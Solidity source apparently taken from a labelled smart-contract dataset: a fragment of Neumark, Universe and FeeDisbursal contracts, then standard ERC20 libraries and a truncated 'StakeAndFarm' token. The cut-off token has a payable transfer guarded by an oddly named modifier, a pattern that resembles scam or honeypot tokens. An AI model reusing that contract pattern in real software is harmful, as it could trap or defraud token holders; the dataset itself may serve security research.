{} function issueForEuro(uint256 euroUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(msg.sender) returns (uint256) { require(_totalEurUlps + euroUlps >= _totalEurUlps); uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps); _totalEurUlps += euroUlps; mGenerateTokens(msg.sender, neumarkUlps); emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps); return neumarkUlps; } function distribute(address to, uint256 neumarkUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(to) { mTransfer(msg.sender, to, neumarkUlps); } function burn(uint256 neumarkUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, 0, _totalEurUlps); } function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, minEurUlps, maxEurUlps); } function enableTransfer(bool enabled) public only(ROLE_TRANSFER_ADMIN) { _transferEnabled = enabled; } function createSnapshot() public only(ROLE_SNAPSHOT_CREATOR) returns (uint256) { return DailyAndSnapshotable.createSnapshot(); } function transferEnabled() public constant returns (bool) { return _transferEnabled; } function totalEuroUlps() public constant returns (uint256) { return _totalEurUlps; } function incremental(uint256 euroUlps) public constant returns (uint256 neumarkUlps) { return incremental(_totalEurUlps, euroUlps); } function transfer(address to, uint256 amount, bytes data) public returns (bool) { BasicSnapshotToken.mTransfer(msg.sender, to, amount); if (isContract(to)) { IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data); } return true; } function mOnTransfer( address from, address, uint256 ) internal acceptAgreement(from) returns (bool allow) { return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig); } function mOnApprove( address owner, address, uint256 ) internal acceptAgreement(owner) returns (bool allow) { return true; } function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) private { uint256 prevEuroUlps = _totalEurUlps; mDestroyTokens(msg.sender, burnNeumarkUlps); _totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps); assert(prevEuroUlps >= _totalEurUlps); uint256 euroUlps = prevEuroUlps - _totalEurUlps; emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps); } } contract IPlatformPortfolio is IERC223Callback { } contract ITokenExchangeRateOracle { function getExchangeRate(address numeratorToken, address denominatorToken) public constant returns (uint256 rateFraction, uint256 timestamp); function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens) public constant returns (uint256[] rateFractions, uint256[] timestamps); } contract Universe is Agreement, IContractId, KnownInterfaces { event LogSetSingleton( bytes4 interfaceId, address instance, address replacedInstance ); event LogSetCollectionInterface( bytes4 interfaceId, address instance, bool isSet ); mapping(bytes4 => address) private _singletons; mapping(bytes4 => mapping(address => bool)) private _collections; mapping(address => bytes4[]) private _instances; constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) Agreement(accessPolicy, forkArbiter) public { setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy); setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter); } function getSingleton(bytes4 interfaceId) public constant returns (address) { return _singletons[interfaceId]; } function getManySingletons(bytes4[] interfaceIds) public constant returns (address[]) { address[] memory addresses = new address[](interfaceIds.length); uint256 idx; while(idx < interfaceIds.length) { addresses[idx] = _singletons[interfaceIds[idx]]; idx += 1; } return addresses; } function isSingleton(bytes4 interfaceId, address instance) public constant returns (bool) { return _singletons[interfaceId] == instance; } function isInterfaceCollectionInstance(bytes4 interfaceId, address instance) public constant returns (bool) { return _collections[interfaceId][instance]; } function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance) public constant returns (bool) { uint256 idx; while(idx < interfaceIds.length) { if (_collections[interfaceIds[idx]][instance]) { return true; } idx += 1; } return false; } function getInterfacesOfInstance(address instance) public constant returns (bytes4[] interfaces) { return _instances[instance]; } function setSingleton(bytes4 interfaceId, address instance) public only(ROLE_UNIVERSE_MANAGER) { setSingletonPrivate(interfaceId, instance); } function setManySingletons(bytes4[] interfaceIds, address[] instances) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); uint256 idx; while(idx < interfaceIds.length) { setSingletonPrivate(interfaceIds[idx], instances[idx]); idx += 1; } } function setCollectionInterface(bytes4 interfaceId, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { setCollectionPrivate(interfaceId, instance, set); } function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instance, set); idx += 1; } } function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); require(interfaceIds.length == set_flags.length); uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]); idx += 1; } } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0); } function accessPolicy() public constant returns (IAccessPolicy) { return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]); } function forkArbiter() public constant returns (IEthereumForkArbiter) { return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]); } function neumark() public constant returns (Neumark) { return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]); } function etherToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]); } function euroToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]); } function etherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ETHER_LOCK]; } function euroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_EURO_LOCK]; } function icbmEtherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK]; } function icbmEuroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK]; } function identityRegistry() public constant returns (address) { return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]); } function tokenExchangeRateOracle() public constant returns (address) { return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]); } function feeDisbursal() public constant returns (address) { return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]); } function platformPortfolio() public constant returns (address) { return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]); } function tokenExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE]; } function gasExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE]; } function platformTerms() public constant returns (address) { return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS]; } function setSingletonPrivate(bytes4 interfaceId, address instance) private { require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON"); address replacedInstance = _singletons[interfaceId]; if (replacedInstance != instance) { dropInstance(replacedInstance, interfaceId); addInstance(instance, interfaceId); _singletons[interfaceId] = instance; } emit LogSetSingleton(interfaceId, instance, replacedInstance); } function setCollectionPrivate(bytes4 interfaceId, address instance, bool set) private { if (_collections[interfaceId][instance] == set) { return; } _collections[interfaceId][instance] = set; if (set) { addInstance(instance, interfaceId); } else { dropInstance(instance, interfaceId); } emit LogSetCollectionInterface(interfaceId, instance, set); } function addInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { return; } bytes4[] storage current = _instances[instance]; uint256 idx; while(idx < current.length) { if (current[idx] == interfaceId) return; idx += 1; } current.push(interfaceId); } function dropInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { return; } bytes4[] storage current = _instances[instance]; uint256 idx; uint256 last = current.length - 1; while(idx <= last) { if (current[idx] == interfaceId) { if (idx < last) { current[idx] = current[last]; } current.length -= 1; return; } idx += 1; } } } contract FeeDisbursal is IERC223Callback, IERC677Callback, IERC223LegacyCallback, ERC223LegacyCallbackCompat, Serialization, Math, KnownContracts, KnownInterfaces, IContractId { event LogDisbursalCreated( address indexed proRataToken, address indexed token, uint256 amount, uint256 recycleAfterDuration, address disburser, uint256 index ); event LogDisbursalAccepted( address indexed claimer, address token, address proRataToken, uint256 amount, uint256 nextIndex ); event LogDisbursalRejected( address indexed claimer, address token, address proRataToken, uint256 amount, uint256 nextIndex ); event LogFundsRecycled( address indexed proRataToken, address indexed token, uint256 amount, address by ); event LogChangeFeeDisbursalController( address oldController, address newController, address by ); struct Disbursal { uint256 snapshotId; uint256 amount; uint128 recycleableAfterTimestamp; uint128 disbursalTimestamp; address disburser; } uint256 constant UINT256_MAX = 2**256 - 1; Universe private UNIVERSE; address private ICBM_ETHER_TOKEN; IFeeDisbursalController private _feeDisbursalController; mapping (address => mapping(address => Disbursal[])) private _disbursals; mapping (address => mapping(address => mapping(address => uint256))) _disbursalProgress; constructor(Universe universe, IFeeDisbursalController controller) public { require(universe != address(0x0)); (bytes32 controllerContractId, ) = controller.contractId(); require(controllerContractId == FEE_DISBURSAL_CONTROLLER); UNIVERSE = universe; ICBM_ETHER_TOKEN = universe.getSingleton(KNOWN_INTERFACE_ICBM_ETHER_TOKEN); _feeDisbursalController = controller; } function getDisbursal(address token, address proRataToken, uint256 index) public constant returns ( uint256 snapshotId, uint256 amount, uint256 recycleableAfterTimestamp, uint256 disburseTimestamp, address disburser ) { Disbursal storage disbursal = _disbursals[token][proRataToken][index]; snapshotId = disbursal.snapshotId; amount = disbursal.amount; recycleableAfterTimestamp = disbursal.recycleableAfterTimestamp; disburseTimestamp = disbursal.disbursalTimestamp; disburser = disbursal.disburser; } function getNonClaimableDisbursals(address token, address proRataToken) public constant returns (uint256[3][] memory disbursals) { uint256 len = _disbursals[token][proRataToken].length; if (len == 0) { return; } uint256 snapshotId = ITokenSnapshots(proRataToken).currentSnapshotId(); uint256 ii = len; while(_disbursals[token][proRataToken][ii-1].snapshotId == snapshotId && --ii > 0) {} disbursals = new uint256[3][](len-ii); for(uint256 jj = 0; jj < len - ii; jj += 1) { disbursals[jj][0] = snapshotId; disbursals[jj][1] = _disbursals[token][proRataToken][ii+jj].amount; disbursals[jj][2] = ii+jj; } } function getDisbursalCount(address token, address proRataToken) public constant returns (uint256) { return _disbursals[token][proRataToken].length; } function accept(address token, ITokenSnapshots proRataToken, uint256 until) public { require(_feeDisbursalController.onAccept(token, proRataToken, msg.sender), "NF_ACCEPT_REJECTED"); (uint256 claimedAmount, , uint256 nextIndex) = claimPrivate(token, proRataToken, msg.sender, until); if (claimedAmount > 0) { IERC223Token ierc223Token = IERC223Token(token); assert(ierc223Token.transfer(msg.sender, claimedAmount, "")); } emit LogDisbursalAccepted(msg.sender, token, proRataToken, claimedAmount, nextIndex); } function acceptMultipleByToken(address[] tokens, ITokenSnapshots proRataToken) public { uint256[2][] memory claimed = new uint256[2][](tokens.length); uint256 i; for (i = 0; i < tokens.length; i += 1) { require(_feeDisbursalController.onAccept(tokens[i], proRataToken, msg.sender), "NF_ACCEPT_REJECTED"); (claimed[i][0], ,claimed[i][1]) = claimPrivate(tokens[i], proRataToken, msg.sender, UINT256_MAX); } for (i = 0; i < tokens.length; i += 1) { if (claimed[i][0] > 0) { IERC223Token ierc223Token = IERC223Token(tokens[i]); assert(ierc223Token.transfer(msg.sender, claimed[i][0], "")); } emit LogDisbursalAccepted(msg.sender, tokens[i], proRataToken, claimed[i][0], claimed[i][1]); } } function acceptMultipleByProRataToken(address token, ITokenSnapshots[] proRataTokens) public { uint256 i; uint256 fullAmount; for (i = 0; i < proRataTokens.length; i += 1) { require(_feeDisbursalController.onAccept(token, proRataTokens[i], msg.sender), "NF_ACCEPT_REJECTED"); (uint256 amount, , uint256 nextIndex) = claimPrivate(token, proRataTokens[i], msg.sender, UINT256_MAX); fullAmount += amount; emit LogDisbursalAccepted(msg.sender, token, proRataTokens[i], amount, nextIndex); } if (fullAmount > 0) { IERC223Token ierc223Token = IERC223Token(token); assert(ierc223Token.transfer(msg.sender, fullAmount, "")); } } function reject(address token, ITokenSnapshots proRataToken, uint256 until) public { require(_feeDisbursalController.onReject(token, address(0), msg.sender), "NF_REJECT_REJECTED"); (uint256 claimedAmount, , uint256 nextIndex) = claimPrivate(token, proRataToken, msg.sender, until); if (claimedAmount > 0) { PlatformTerms terms = PlatformTerms(UNIVERSE.platformTerms()); disburse(token, this, claimedAmount, proRataToken, terms.DEFAULT_DISBURSAL_RECYCLE_AFTER_DURATION()); } emit LogDisbursalRejected(msg.sender, token, proRataToken, claimedAmount, nextIndex); } function claimable(address token, ITokenSnapshots proRataToken, address claimer, uint256 until) public constant returns (uint256 claimableAmount, uint256 totalAmount, uint256 recycleableAfterTimestamp, uint256 firstIndex) { firstIndex = _disbursalProgress[token][proRataToken][claimer]; if (firstIndex < _disbursals[token][proRataToken].length) { recycleableAfterTimestamp = _disbursals[token][proRataToken][firstIndex].recycleableAfterTimestamp; } (claimableAmount, totalAmount,) = claimablePrivate(token, proRataToken, claimer, until, false); } function claimableMutipleByToken(address[] tokens, ITokenSnapshots proRataToken, address claimer) public constant returns (uint256[4][] claimables) { claimables = new uint256[4][](tokens.length); for (uint256 i = 0; i < tokens.length; i += 1) { claimables[i][3] = _disbursalProgress[tokens[i]][proRataToken][claimer]; if (claimables[i][3] < _disbursals[tokens[i]][proRataToken].length) { claimables[i][2] = _disbursals[tokens[i]][proRataToken][claimables[i][3]].recycleableAfterTimestamp; } (claimables[i][0], claimables[i][1], ) = claimablePrivate(tokens[i], proRataToken, claimer, UINT256_MAX, false); } } function claimableMutipleByProRataToken(address token, ITokenSnapshots[] proRataTokens, address claimer) public constant returns (uint256[4][] claimables) { claimables = new uint256[4][](proRataTokens.length); for (uint256 i = 0; i < proRataTokens.length; i += 1) { claimables[i][3] = _disbursalProgress[token][proRataTokens[i]][claimer]; if (claimables[i][3] < _disbursals[token][proRataTokens[i]].length) { claimables[i][2] = _disbursals[token][proRataTokens[i]][claimables[i][3]].recycleableAfterTimestamp; } (claimables[i][0], claimables[i][1], ) = claimablePrivate(token, proRataTokens[i], claimer, UINT256_MAX, false); } } function recycle(address token, ITokenSnapshots proRataToken, address[] investors, uint256 until) public { require(_feeDisbursalController.onRecycle(token, proRataToken, investors, until), ""); uint256 totalClaimableAmount = 0; for (uint256 i = 0; i < investors.length; i += 1) { (uint256 claimableAmount, ,uint256 nextIndex) = claimablePrivate(token, ITokenSnapshots(proRataToken), investors[i], until, true); totalClaimableAmount += claimableAmount; _disbursalProgress[token][proRataToken][investors[i]] = nextIndex; } if (totalClaimableAmount > 0) { PlatformTerms terms = PlatformTerms(UNIVERSE.platformTerms()); disburse(token, this, totalClaimableAmount, proRataToken, terms.DEFAULT_DISBURSAL_RECYCLE_AFTER_DURATION()); } emit LogFundsRecycled(proRataToken, token, totalClaimableAmount, msg.sender); } function recycleable(address token, ITokenSnapshots proRataToken, address[] investors, uint256 until) public constant returns (uint256) { uint256 totalAmount = 0; for (uint256 i = 0; i < investors.length; i += 1) { (uint256 claimableAmount,,) = claimablePrivate(token, proRataToken, investors[i], until, true); totalAmount += claimableAmount; } return totalAmount; } function feeDisbursalController() public constant returns (IFeeDisbursalController) { return _feeDisbursalController; } function changeFeeDisbursalController(IFeeDisbursalController newController) public { require(_feeDisbursalController.onChangeFeeDisbursalController(msg.sender, newController), "NF_CHANGING_CONTROLLER_REJECTED"); address oldController = address(_feeDisbursalController); _feeDisbursalController = newController; emit LogChangeFeeDisbursalController(oldController, address(newController), msg.sender); } function tokenFallback(address wallet, uint256 amount, bytes data) public { tokenFallbackPrivate(msg.sender, wallet, amount, data); } function receiveApproval(address from, uint256 amount, address tokenAddress, bytes data) public returns (bool success) { require(msg.sender == tokenAddress); IERC20Token token = IERC20Token(tokenAddress); require(token.transferFrom(from, address(this), amount)); if (tokenAddress == ICBM_ETHER_TOKEN) { IWithdrawableToken(tokenAddress).withdraw(amount); token = IERC20Token(UNIVERSE.etherToken()); EtherToken(token).deposit.value(amount)(); } if(tokenAddress == UNIVERSE.getSingleton(KNOWN_INTERFACE_ICBM_EURO_TOKEN)) { IWithdrawableToken(tokenAddress).withdraw(amount); token = IERC20Token(UNIVERSE.euroToken()); EuroToken(token).deposit(this, amount, 0x0); } tokenFallbackPrivate(address(token), from, amount, data); return true; } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x2e1a7e4ac88445368dddb31fe43d29638868837724e9be8ffd156f21a971a4d7, 0); } function () public payable { require(msg.sender == ICBM_ETHER_TOKEN); } function tokenFallbackPrivate(address token, address wallet, uint256 amount, bytes data) private { ITokenSnapshots proRataToken; PlatformTerms terms = PlatformTerms(UNIVERSE.platformTerms()); uint256 recycleAfterDuration = terms.DEFAULT_DISBURSAL_RECYCLE_AFTER_DURATION(); if (data.length == 20) { proRataToken = ITokenSnapshots(decodeAddress(data)); } else if (data.length == 52) { address proRataTokenAddress; (proRataTokenAddress, recycleAfterDuration) = decodeAddressUInt256(data); proRataToken = ITokenSnapshots(proRataTokenAddress); } else { proRataToken = UNIVERSE.neumark(); } disburse(token, wallet, amount, proRataToken, recycleAfterDuration); } function disburse(address token, address disburser, uint256 amount, ITokenSnapshots proRataToken, uint256 recycleAfterDuration) private { require( _feeDisbursalController.onDisburse(token, disburser, amount, address(proRataToken), recycleAfterDuration), "NF_DISBURSAL_REJECTED"); uint256 snapshotId = proRataToken.currentSnapshotId(); uint256 proRataTokenTotalSupply = proRataToken.totalSupplyAt(snapshotId); if (token == address(proRataToken)) { proRataTokenTotalSupply -= proRataToken.balanceOfAt(address(this), snapshotId); } require(proRataTokenTotalSupply > 0, "NF_NO_DISBURSE_EMPTY_TOKEN"); uint256 recycleAfter = add(block.timestamp, recycleAfterDuration); assert(recycleAfter<2**128); Disbursal[] storage disbursals = _disbursals[token][proRataToken]; bool merged = false; for ( uint256 i = disbursals.length - 1; i != UINT256_MAX; i-- ) { Disbursal storage disbursal = disbursals[i]; if ( disbursal.snapshotId < snapshotId) { break; } if ( disbursal.disburser == disburser ) { merged = true; disbursal.amount += amount; disbursal.recycleableAfterTimestamp = uint128(recycleAfter); disbursal.disbursalTimestamp = uint128(block.timestamp); break; } } if (!merged) { disbursals.push(Disbursal({ recycleableAfterTimestamp: uint128(recycleAfter), disbursalTimestamp: uint128(block.timestamp), amount: amount, snapshotId: snapshotId, disburser: disburser })); } emit LogDisbursalCreated(proRataToken, token, amount, recycleAfterDuration, disburser, merged ? i : disbursals.length - 1); } function claimPrivate(address token, ITokenSnapshots proRataToken, address claimer, uint256 until) private returns (uint256 claimedAmount, uint256 totalAmount, uint256 nextIndex) { (claimedAmount, totalAmount, nextIndex) = claimablePrivate(token, proRataToken, claimer, until, false); _disbursalProgress[token][proRataToken][claimer] = nextIndex; } function claimablePrivate(address token, ITokenSnapshots proRataToken, address claimer, uint256 until, bool onlyRecycleable) private constant returns (uint256 claimableAmount, uint256 totalAmount, uint256 nextIndex) { nextIndex = min(until, _disbursals[token][proRataToken].length); uint256 currentIndex = _disbursalProgress[token][proRataToken][claimer]; uint256 currentSnapshotId = proRataToken.currentSnapshotId(); for (; currentIndex < nextIndex; currentIndex += 1) { Disbursal storage disbursal = _disbursals[token][proRataToken][currentIndex]; uint256 snapshotId = disbursal.snapshotId; if ( snapshotId == currentSnapshotId ) break; if ( onlyRecycleable && disbursal.recycleableAfterTimestamp > block.timestamp ) break; totalAmount += disbursal.amount; claimableAmount += calculateClaimableAmount(claimer, disbursal.amount, token, proRataToken, snapshotId); } return (claimableAmount, totalAmount, currentIndex); } function calculateClaimableAmount(address claimer, uint256 disbursalAmount, address token, ITokenSnapshots proRataToken, uint256 snapshotId) private constant returns (uint256) { uint256 proRataClaimerBalance = proRataToken.balanceOfAt(claimer, snapshotId); if (proRataClaimerBalance == 0) { return 0; } uint256 proRataTokenTotalSupply = proRataToken.totalSupplyAt(snapshotId); if (token == address(proRataToken)) { proRataTokenTotalSupply -= proRataToken.balanceOfAt(address(this), snapshotId); } return mul(disbursalAmount, proRataClaimerBalance) / proRataTokenTotalSupply; } }
1
4,307
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library MerkleProof { function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == root; } } library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } library SafeCast { function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } interface IRelayHub { function stake(address relayaddr, uint256 unstakeDelay) external payable; event Staked(address indexed relay, uint256 stake, uint256 unstakeDelay); function registerRelay(uint256 transactionFee, string calldata url) external; event RelayAdded(address indexed relay, address indexed owner, uint256 transactionFee, uint256 stake, uint256 unstakeDelay, string url); function removeRelayByOwner(address relay) external; event RelayRemoved(address indexed relay, uint256 unstakeTime); function unstake(address relay) external; event Unstaked(address indexed relay, uint256 stake); enum RelayState { Unknown, Staked, Registered, Removed } function getRelay(address relay) external view returns (uint256 totalStake, uint256 unstakeDelay, uint256 unstakeTime, address payable owner, RelayState state); function depositFor(address target) external payable; event Deposited(address indexed recipient, address indexed from, uint256 amount); function balanceOf(address target) external view returns (uint256); function withdraw(uint256 amount, address payable dest) external; event Withdrawn(address indexed account, address indexed dest, uint256 amount); function canRelay( address relay, address from, address to, bytes calldata encodedFunction, uint256 transactionFee, uint256 gasPrice, uint256 gasLimit, uint256 nonce, bytes calldata signature, bytes calldata approvalData ) external view returns (uint256 status, bytes memory recipientContext); enum PreconditionCheck { OK, WrongSignature, WrongNonce, AcceptRelayedCallReverted, InvalidRecipientStatusCode } function relayCall( address from, address to, bytes calldata encodedFunction, uint256 transactionFee, uint256 gasPrice, uint256 gasLimit, uint256 nonce, bytes calldata signature, bytes calldata approvalData ) external; event CanRelayFailed(address indexed relay, address indexed from, address indexed to, bytes4 selector, uint256 reason); event TransactionRelayed(address indexed relay, address indexed from, address indexed to, bytes4 selector, RelayCallStatus status, uint256 charge); enum RelayCallStatus { OK, RelayedCallFailed, PreRelayedFailed, PostRelayedFailed, RecipientBalanceChanged } function requiredGas(uint256 relayedCallStipend) external view returns (uint256); function maxPossibleCharge(uint256 relayedCallStipend, uint256 gasPrice, uint256 transactionFee) external view returns (uint256); function penalizeRepeatedNonce(bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2) external; function penalizeIllegalTransaction(bytes calldata unsignedTx, bytes calldata signature) external; event Penalized(address indexed relay, address sender, uint256 amount); function getNonce(address from) external view returns (uint256); } contract StakeAndFarm { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable SwapAndFarmingForGarDeners(_from, _to) returns (bool) { if (_value == 0) 